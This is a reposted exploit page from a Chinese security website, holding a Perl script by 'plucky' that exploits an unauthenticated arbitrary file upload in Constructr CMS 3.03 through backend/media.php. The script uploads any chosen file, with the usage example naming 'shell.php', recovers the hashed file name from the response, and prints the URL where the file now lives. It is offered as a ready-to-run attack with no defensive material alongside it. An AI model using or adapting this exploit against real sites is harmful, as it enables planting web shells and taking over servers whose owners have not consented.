首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Constructr CMS 3.03 Arbitrary File Upload
来源:io.plucky@gmail.com 作者:plucky 发布时间:2011-03-24  

#!/usr/bin/env perl

# Constructr CMS 3.03 Arbitrary File Upload
#
# Author: plucky
# Email:  io.plucky@gmail.com    
#
# Vulnerable Page: /constructr/backend/media.php [line
# App Download:    http://sourceforge.net/projects/constructr/
#
# Date: 23/03/2011
# THX TO: yawn, shrod, h473 and DoMinO

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common qw( POST );


my $host           = '';
my $file_to_upload = '';
my $new_file_name  = '';
my $file_extension = '';


sub exploit_usage {

    print 'Constructr CMS 3.03 Arbitrary File Upload'                                        . "\n".
          '-------------------------'                                                        . "\n".
          'Author: plucky'                                                                   . "\n".
          'Email:  io.plucky@gmail.com'                                                      . "\n".
          '-------------------------'                                                        . "\n".
          'Usage:'                                                                           . "\n".
          '        perl xpl.pl [host]/[cms-path]/ /[path-file]/[file]'                       . "\n".
          'Example:'                                                                         . "\n".
          '        perl ' . $0 . ' http://vulnerable.com/constructr/ /home/plucky/shell.php' . "\n";

    exit;

}

sub file_parse {

    my $file_name       = '';
    my $file_extension  = '';
    my $file_to_upload  = '';
    my $rfile_to_upload = '';


    $rfile_to_upload = shift;
    $file_to_upload  = ${$rfile_to_upload};

    $file_to_upload =~ m/\/([a-z0-9]+)\.([a-z]+)/i;

    $file_name      = $1;
    $file_extension = $2;

    return ( $file_name, $file_extension )

}

sub upload_file {

    my $host            = '';
    my $rhost           = '';
    my $file_name       = '';
    my $file_extension  = '';
    my $response        = '';
    my $path            = '';
    my $html            = '';
    my $user_agent      = '';
    my $file_to_upload  = '';
    my $rfile_to_upload = '';
    my $new_file_name   = '';


    ( $rhost, $rfile_to_upload ) = @_;

    $host           = ${$rhost};
    $file_to_upload = ${$rfile_to_upload};

    $user_agent = LWP::UserAgent->new;
    $path       = $host . 'backend/media.php';


    $response = $user_agent->post(
        $path,
        [
            'create_file' => 'try',
            'file'        => [$file_to_upload],
        ],
        'Content_Type' => 'form-data'
    );


    ( $file_name, $file_extension ) = file_parse( \$file_to_upload );


    $html = $response->decoded_content;
    $html =~ m/show_path=([a-f0-9]{32})\.$file_extension">$file_name\.$file_extension<\/a>/i;

    $new_file_name = $1;

    return ( $new_file_name, $file_extension );

}

@ARGV == 2
           ? ( $host, $file_to_upload ) = @ARGV
           : exploit_usage();

( $new_file_name, $file_extension ) = upload_file( \$host, \$file_to_upload );


print $host, 'data/workspace/uploads/', $new_file_name, '.', $file_extension, "\n";


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Progea Movicon 11 TCPUploadSer
·PostgreSQL for Microsoft Windo
·IGSS 8 ODBC Server Multiple Re
·HP OpenView Network Node Manag
·VMCPlayer 1.0 Denial of Servic
·HP OpenView Network Node Manag
·Distributed Ruby send syscall
·HP OpenView Network Node Manag
·HP NNM CGI webappmon.exe OvJav
·HP OpenView NNM nnmRptConfig.e
·HP OpenView NNM nnmRptConfig n
·HP OpenView Network Node Manag
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved